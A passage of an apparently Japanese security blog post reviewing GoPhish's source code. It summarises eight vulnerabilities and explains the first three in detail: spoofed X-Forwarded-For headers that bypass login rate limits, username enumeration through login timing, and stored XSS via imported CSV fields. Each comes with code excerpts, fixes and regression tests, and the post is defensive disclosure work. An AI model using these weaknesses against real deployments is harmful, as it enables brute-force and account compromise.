&lt;th style="text-align: left;"&gt;主なコンポーネント&lt;/th&gt;
&lt;th style="text-align: left;"&gt;実際の影響&lt;/th&gt;
&lt;th style="text-align: left;"&gt;リスク&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;1&lt;/td&gt;
&lt;td style="text-align: left;"&gt;リバースプロキシに依存するログインのレート制限バイパス&lt;/td&gt;
&lt;td style="text-align: left;"&gt;管理ルーティング / リミッター&lt;/td&gt;
&lt;td style="text-align: left;"&gt;公開されたデプロイメントでブルートフォース対策を弱める&lt;/td&gt;
&lt;td style="text-align: left;"&gt;中&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;2&lt;/td&gt;
&lt;td style="text-align: left;"&gt;非対称な認証処理によるユーザー名の列挙&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ログインハンドラー&lt;/td&gt;
&lt;td style="text-align: left;"&gt;有効なアカウント名が判明する&lt;/td&gt;
&lt;td style="text-align: left;"&gt;低&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;3&lt;/td&gt;
&lt;td style="text-align: left;"&gt;インポートされた受信者フィールドを介した格納型XSS&lt;/td&gt;
&lt;td style="text-align: left;"&gt;CSV/グループのインポート &amp;rarr; ランディングページ&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ターゲットのフィッシングドメインのブラウザーでスクリプトが実行される&lt;/td&gt;
&lt;td style="text-align: left;"&gt;高&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;4&lt;/td&gt;
&lt;td style="text-align: left;"&gt;SMTPエラーを介した格納型および反射型XSS&lt;/td&gt;
&lt;td style="text-align: left;"&gt;キャンペーンUI&lt;/td&gt;
&lt;td style="text-align: left;"&gt;認証済み管理者のブラウザーでスクリプトが実行される&lt;/td&gt;
&lt;td style="text-align: left;"&gt;高&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;5&lt;/td&gt;
&lt;td style="text-align: left;"&gt;作成用エンドポイントのアップサートによるユーザー間のリソース乗っ取り&lt;/td&gt;
&lt;td style="text-align: left;"&gt;グループ、テンプレート、ページ、SMTPプロファイル&lt;/td&gt;
&lt;td style="text-align: left;"&gt;所有権の移転、グループデータの露出&lt;/td&gt;
&lt;td style="text-align: left;"&gt;高&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;6&lt;/td&gt;
&lt;td style="text-align: left;"&gt;セッションとAPI認証情報の不完全な無効化&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ログアウト / パスワード変更&lt;/td&gt;
&lt;td style="text-align: left;"&gt;奪取された認証情報がアカウント操作後も有効なまま残り得る&lt;/td&gt;
&lt;td style="text-align: left;"&gt;中&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;7&lt;/td&gt;
&lt;td style="text-align: left;"&gt;機密性の高いアカウントフィールドのマスアサインメント&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;PUT /api/users/{id}&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;管理上の制御を目的としたフィールドをユーザーが変更できる&lt;/td&gt;
&lt;td style="text-align: left;"&gt;中&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;8&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Import Siteがデフォルトでプライベートネットワークに到達可能&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;POST /api/import/site&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;メタデータ以外の内部アドレスへのサーバーサイドからのアクセス&lt;/td&gt;
&lt;td style="text-align: left;"&gt;低&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="この評価が重要な理由"&gt;この評価が重要な理由&lt;/h2&gt;
&lt;p&gt;GoPhishは信頼度の高い立場にあります。受信者データ、キャンペーンのコンテンツ、ランディングページ、メールインフラの設定、そして認証情報の収集をシミュレートするためのワークフローを保持しています。だからこそ、そのセキュリティ境界は明示的でなければなりません。通常の業務アプリケーションの欠陥であれば一つの機能内に封じ込められるかもしれませんが、フィッシングシミュレーション基盤の欠陥は、セキュリティプログラム全体のデータ、コミュニケーション、信頼性に影響を及ぼし得ます。&lt;/p&gt;
&lt;h3 id="gophishとは何か、そして何を任されているのか"&gt;GoPhishとは何か、そして何を任されているのか&lt;/h3&gt;
&lt;p&gt;GoPhishは、オープンソースのフィッシングシミュレーションプラットフォームです。管理者は、メールテンプレート、ランディングページ、受信者グループ、送信プロファイルからキャンペーンを組み立てます。プラットフォームはその後、シミュレートされたメッセージを配信し、キャンペーンページを提供し、結果を記録します。同じアプリケーションはAPIも公開しており、オペレーターはキャンペーンやアセットの管理を自動化できます。&lt;/p&gt;
&lt;p&gt;このワークフローは、いくつかの異なる信頼ドメインを一つの製品にまとめています。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;管理者とAPIユーザー&lt;/strong&gt;は、キャンペーン、プロファイルデータ、受信者グループ、アカウントの状態を制御する。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;受信者データ&lt;/strong&gt;はインポートされ、後にメールやランディングページのテンプレートにレンダリングされる。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SMTPインフラ&lt;/strong&gt;はブラウザーアプリケーションの外部にあるが、プラットフォームが記録・表示するプロトコルエラーを供給し得る。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ターゲット&lt;/strong&gt;は別のブラウザーオリジンでキャンペーンのリンクを開き、&lt;strong&gt;管理者&lt;/strong&gt;は特権を持つ管理用オリジンでキャンペーンを管理する。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Import Site&lt;/strong&gt;は、認証済みユーザーが指定したURLを、GoPhishサーバーが行う外向きリクエストに変換する。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="GoPhishの信頼モデルの概念図：管理者、受信者のインポート、SMTP配信、ターゲットのブラウザー、Import Siteの外向き接続が中央のプラットフォームに集まる。" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-07-16_gophish-source-review/gophish-context-map.png" title="GoPhishプラットフォームのコンテキストと信頼境界"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;GoPhishプラットフォームのコンテキストと信頼境界&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;図1：プラットフォームのコンテキストの概念図。シアンのフローは意図された運用上の経路を、アンバーは信頼境界の横断を、赤は特にセキュリティ上の精査に値する経路を表します。これは説明のためのモデルであり、製品のアーキテクチャ図ではありません。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;したがって、中央のサーバーは単なるダッシュボードではありません。人、データ、ブラウザー、メールシステム、ネットワークの間を取り持つ変換レイヤーです。本レビューの検出結果は、この変換レイヤーがあるドメインからの入力を受け取り、次のドメインでそれにより大きな権限を与えてしまう箇所で生じています。&lt;/p&gt;
&lt;p&gt;技術マネージャーにとっての中心的なメッセージは、「8件の別々のチケット」ではありません。&lt;strong&gt;複数の方向から圧力を受けている一つのセキュリティモデル&lt;/strong&gt;です。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ターゲットリストやSMTPサーバーからブラウザーへと渡る入力は、マークアップではなくデータのままでなければならない。&lt;/li&gt;
&lt;li&gt;認証済みユーザーが、作成のセマンティクスをユーザー間の更新のセマンティクスに変えられてはならない。&lt;/li&gt;
&lt;li&gt;ログアウト、パスワード変更、アカウントロックは、UI、セッションCookie、APIのすべてで同じ意味を持たなければならない。&lt;/li&gt;
&lt;li&gt;URLを取得するアプリケーションは、そのURLが到達すべきでない場所に到達しようとしていると想定しなければならない。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;本記事の残りの部分では、レビュー対象のソースツリーでこれらのルールがどこで崩れていたか、そしてそれらをどのように強制可能にするかを記録します。&lt;/p&gt;
&lt;h3 id="当社が使用した信頼境界マップ"&gt;当社が使用した信頼境界マップ&lt;/h3&gt;
&lt;p&gt;ファイルを個別にレビューするのではなく、システムを境界の横断の集合としてマッピングしました。そうすることで、各遷移で正しい問いを立てることができました。&lt;em&gt;今この値を制御しているのは誰か、次にそれを信頼するのは誰か、そしてその信頼が誤っていた場合にどのような権限が得られるのか。&lt;/em&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Browser / API client &amp;boxh;&amp;boxh;► routing and authentication &amp;boxh;&amp;boxh;► application model &amp;boxh;&amp;boxh;► database
       &amp;boxv;                            &amp;boxv;                         &amp;boxv;                 &amp;boxv;
       &amp;boxv;                            &amp;boxv;                         &amp;boxv;                 &amp;boxur;&amp;boxh; ownership and state
       &amp;boxv;                            &amp;boxv;                         &amp;boxur;&amp;boxh; create/update semantics
       &amp;boxv;                            &amp;boxur;&amp;boxh; identity, rate limit, account state
       &amp;boxv;
       &amp;boxvr;&amp;boxh;&amp;boxh;► landing-page renderer &amp;boxh;&amp;boxh;► target browser
       &amp;boxvr;&amp;boxh;&amp;boxh;► campaign-results renderer &amp;boxh;&amp;boxh;► administrator browser
       &amp;boxur;&amp;boxh;&amp;boxh;► import-site client &amp;boxh;&amp;boxh;► network destination selected by a URL
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;レビューでは、これらの接合点のそれぞれで弱点が見つかりました。だからこそ、開発者は検出結果を互いに無関係なコントローラーのバグの寄せ集めとして扱うべきではなく、技術マネージャーは修復を一度きりのパッチリリースではなく、小規模なセキュリティ強化プログラムとして計画すべきなのです。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="4つの概念的なリスクレーン：プロキシ由来のアイデンティティがレート制限の判断に到達する。インポートされたデータがブラウザーのレンダリングに渡る。SMTPエラーのデータが管理者UIに渡る。APIのオブジェクトデータと外向きリクエストが所有権とネットワークの境界を越える。" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-07-16_gophish-source-review/trust-boundary-concepts.png" title="評価における信頼境界の破綻の概念図"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;評価における信頼境界の破綻の概念図&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;図2：本記事全体で使用する視覚的な表現。青は想定されたデータの移動を、アンバーは境界の判断を下さなければならない瞬間を、赤は信頼できないデータにアイデンティティ、HTML、所有権、ネットワーク上の権限が与えられたときに起こることを示します。4つのレーンは（上から順に）認証制御、受信者のレンダリング、SMTPエラーのレンダリング、そしてAPI/オブジェクトと外向きリクエストの制御に対応します。各レーンについての正式な説明は、あくまで本文です。&lt;/em&gt;&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;レーン&lt;/th&gt;
&lt;th style="text-align: left;"&gt;境界の判断&lt;/th&gt;
&lt;th style="text-align: left;"&gt;示されている破綻&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;認証&lt;/td&gt;
&lt;td style="text-align: left;"&gt;どのコンポーネントがクライアントのアイデンティティを主張してよいか&lt;/td&gt;
&lt;td style="text-align: left;"&gt;クライアントが制御するプロキシヘッダーが新しいレート制限バケットを作る。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;受信者のレンダリング&lt;/td&gt;
&lt;td style="text-align: left;"&gt;インポートされた連絡先データはテキストかマークアップか&lt;/td&gt;
&lt;td style="text-align: left;"&gt;受信者フィールドがターゲットのブラウザーでアクティブなコンテンツになる。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;SMTPエラーのレンダリング&lt;/td&gt;
&lt;td style="text-align: left;"&gt;プロトコルエラーは安全なブラウザーコンテンツか&lt;/td&gt;
&lt;td style="text-align: left;"&gt;メールサーバーのエラーがHTMLとして管理者のDOMに到達する。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;APIの永続化とImport Site&lt;/td&gt;
&lt;td style="text-align: left;"&gt;入力が所有権を変更したり、ネットワーク上の宛先を選択したりしてよいか&lt;/td&gt;
&lt;td style="text-align: left;"&gt;作成リクエストが他のユーザーのオブジェクトを更新する。URLがプライベートネットワーク上のターゲットに到達する。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;レポートが問題をこのようにグループ分けしているのもこのためです。最初のレーンはレート制限とユーザー列挙を、2つ目はCSVからランディングページへのXSSを、3つ目はSMTPエラーのXSSを扱います。そして最後のレーンは、サーバーサイドの権限に関する2つの問題、すなわち所有権を変更する永続化と、ネットワーク上の到達可能性を変更するURLを扱います。&lt;/p&gt;
&lt;h2 id="スコープと検証方法"&gt;スコープと検証方法&lt;/h2&gt;
&lt;p&gt;この評価は、付属のデフォルト設定を使用したGoPhish最新版を対象としています。&lt;/p&gt;
&lt;h3 id="レポートの検証方法"&gt;レポートの検証方法&lt;/h3&gt;
&lt;p&gt;報告対象となるすべての経路は、2つのチェックをクリアする必要がありました。第一に、ソース内で完全なデータフロー、すなわちエントリーポイント、変換または保存、そしてセキュリティ上重要なシンクを特定する必要がありました。第二に、実際の境界条件を確定する必要がありました。認証済みアクセスか未認証アクセスか、UIの挙動かAPIの挙動か、リバースプロキシの設定、デフォルト設定か任意の設定か、そして破壊的な変更かデータの露出か、といった違いです。その後、合成したユーザーとデータを使ってローカルで挙動を再現しました。完全な手順は検証の付録に掲載しています。&lt;/p&gt;
&lt;p&gt;この規律こそが、いくつかの初期の仮説をより正確な検出結果へと変えたものです。要約表のリスク評価は、検証済みの経路と記載した前提条件を反映したものであり、あらゆるデプロイメントに当てはまる普遍的な重大度の主張ではありません。&lt;/p&gt;
&lt;h2 id="1. ログインのリミッターがプロキシ由来のアドレスを信頼している"&gt;1. ログインのリミッターがプロキシ由来のアドレスを信頼している&lt;/h2&gt;
&lt;p&gt;GoPhishは、管理用のPOSTリクエストを1分あたり5リクエストのリミッターで保護しています。リミッターはリクエストのアドレスをもとにバケットのキーを決めます。同時に、管理用ハンドラーは&lt;code&gt;handlers.ProxyHeaders&lt;/code&gt;でラップされており、&lt;code&gt;X-Forwarded-For&lt;/code&gt;や&lt;code&gt;X-Real-IP&lt;/code&gt;などの転送ヘッダーを受け付けます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// controllers/route.go&lt;/span&gt;
&lt;span class="nx"&gt;adminHandler&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;handlers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ProxyHeaders&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;adminHandler&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;// middleware/ratelimit/ratelimit.go&lt;/span&gt;
&lt;span class="nx"&gt;limit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;rate&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;NewLimiter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;rate&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Every&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Minute&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Duration&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;limiter&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;requestLimit&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;limiter&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;requestLimit&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;リミッターは、プロキシヘッダーの正規化後の&lt;code&gt;r.RemoteAddr&lt;/code&gt;から判断を下します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nx"&gt;clientIP&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;net&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;SplitHostPort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;RemoteAddr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;clientIP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;RemoteAddr&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Method&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;http&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;MethodPost&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;limiter&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;allow&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;clientIP&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;http&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;w&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;http&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;StatusText&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;http&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;StatusTooManyRequests&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;http&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;StatusTooManyRequests&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;これは普遍的なプロキシヘッダーのバグではなく、&lt;strong&gt;デプロイメントに依存する&lt;/strong&gt;問題です。GoPhishに直接到達でき、かつ上流のプロキシがクライアントの指定した転送ヘッダーを削除または上書きしない場合、攻撃者は見かけ上のクライアントアドレスを変えて新しいリミッターバケットを得ることができます。実装は指示されたとおりのことをしています。プロキシが提供したアドレスを信じているのです。破綻しているのは、どのネットワークコンポーネントがその主張を行う資格を持つのかを、アプリケーションが確立していない点です。これらのヘッダーを管理する、正しく設定されたリバースプロキシがあれば、この特定のバイパスは防げます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;想定シナリオ：図の上でしか機能しない制御&lt;/strong&gt;：あるセキュリティチームが、ロールアウトのある段階で管理コンソールをロードバランサーの背後にデプロイし、その後インシデント対応中にトラブルシューティング用の経路を直接公開します。アプリケーションは依然として転送ヘッダーを信頼できるものとして扱います。5リクエストのログイン制御は、コード上でも基本的なテストでも正常に見えますが、もはや安定したネットワークアイデンティティに結び付いていません。運用上の教訓は、レート制限がシステム全体の制御だということです。エッジ、プロキシ、アプリケーション、監視ルールのすべてが、クライアントが誰であるかについて一致していなければなりません。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;エンジニアリング上の優先事項&lt;/strong&gt;：可能であれば管理サービスをプライベートインターフェースにバインドする。信頼できるプロキシネットワークからのみプロキシヘッダーを許可する。受信した転送ヘッダーをエッジで上書きする。そしてリバースプロキシまたはWAFで2つ目のレート制限を適用する。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;維持すべきリグレッションテスト&lt;/strong&gt;：デプロイメントで想定されているイングレスを通じて、偽装した転送ヘッダー付きのログインリクエストを繰り返し送信し、実質的に単一のクライアントバケットが使われることを検証する。別途、管理画面への直接アクセスが不可能であるか、信頼できないプロキシヘッダーを拒否することを検証する。&lt;/p&gt;
&lt;h2 id="2. ログインの挙動からユーザー名の存在が判明し得る"&gt;2. ログインの挙動からユーザー名の存在が判明し得る&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;AdminServer.Login&lt;/code&gt;では、GoPhishはまずユーザー名を検索します。検索に失敗すると、ただちに無効なログインのレスポンスを返します。パスワードハッシュの検証を行う&lt;code&gt;auth.ValidatePassword&lt;/code&gt;に到達するのは、存在するユーザーだけです。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nx"&gt;u&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;models&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;GetUserByUsername&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;username&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;as&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;handleInvalidLogin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;w&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"Invalid Username/Password"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;auth&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ValidatePassword&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;u&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Hash&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;表示されるエラーは意図的に同一ですが、処理は同一ではありません。存在するユーザー名ではパスワードハッシュの検証が発生し、存在しないユーザー名では発生しません。測定を繰り返すと、これがタイミングオラクルを生み出し得ます。初期のレポートに対する重要な訂正は、この問題がORMのプリロードだけに起因するものではないという点です。ソースには、未知のユーザーの経路でそれを補うダミーのパスワードハッシュ比較が存在しません。&lt;/p&gt;
&lt;p&gt;これは、セキュリティレビューが汎用的なエラーメッセージで止まるべきではない理由を示す好例です。ユーザーに返される文字列は、観測可能なものの一つにすぎません。所要時間、データベースの挙動、レート制限との相互作用も、攻撃者が体験する認証プロトコルの一部です。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;想定シナリオ：パスワードスプレー攻撃の対象を絞り込む&lt;/strong&gt;：攻撃者は、目に見える「ユーザーが見つかりません」というバナーがなくても、有用な情報を得られます。十分な数のリクエストと安定したネットワーク経路があれば、未知のユーザーと既知のユーザーの分岐間の非対称性が、存在する可能性の高いアカウント名の判別に役立ちます。これにより、後のパスワードスプレー攻撃やソーシャルエンジニアリングのキャンペーンのためのリストが絞り込まれます。この検出結果は、すべてのデプロイメントで明瞭なタイミングシグナルが得られると言っているのではありません。アカウントの存在を条件として認証処理を行うことで、アプリケーションが不必要にシグナルを生み出していると言っているのです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;エンジニアリング上の優先事項&lt;/strong&gt;：未知のユーザーには固定のダミーハッシュを使い、常にパスワード検証処理を実行する。そしてレスポンスメッセージ、ステータスコード、観測可能な処理を一貫させる。この変更に加えて、アカウントレベルとネットワークレベルのスロットリングを適用する。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;維持すべきリグレッションテスト&lt;/strong&gt;：管理されたベンチマークで、有効なユーザー名と無効なユーザー名に同じ誤ったパスワードを使ってテストする。テストでは、どちらの経路でもパスワードハッシュの比較が呼び出されること、そしてどちらのレスポンスも異なるステータス、ボディ、リダイレクトの挙動を露出しないことを確認する。&lt;/p&gt;
&lt;h2 id="3. インポートされたcsvフィールドがエスケープされないランディングページのテンプレートに到達する"&gt;3. インポートされたCSVフィールドがエスケープされないランディングページのテンプレートに到達する&lt;/h2&gt;
&lt;p&gt;グループのインポート経路は、&lt;code&gt;FirstName&lt;/code&gt;、&lt;code&gt;LastName&lt;/code&gt;、&lt;code&gt;Position&lt;/code&gt;などの受信者プロパティを受け付けます。これらの値は受信者データとして保持されます。キャンペーンがランディングページをレンダリングする際、GoPhishは&lt;code&gt;PhishingTemplateContext&lt;/code&gt;を構築し、Goの&lt;code&gt;text/template&lt;/code&gt;パッケージを通じてページのコンテンツを実行します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// models/template_context.go&lt;/span&gt;
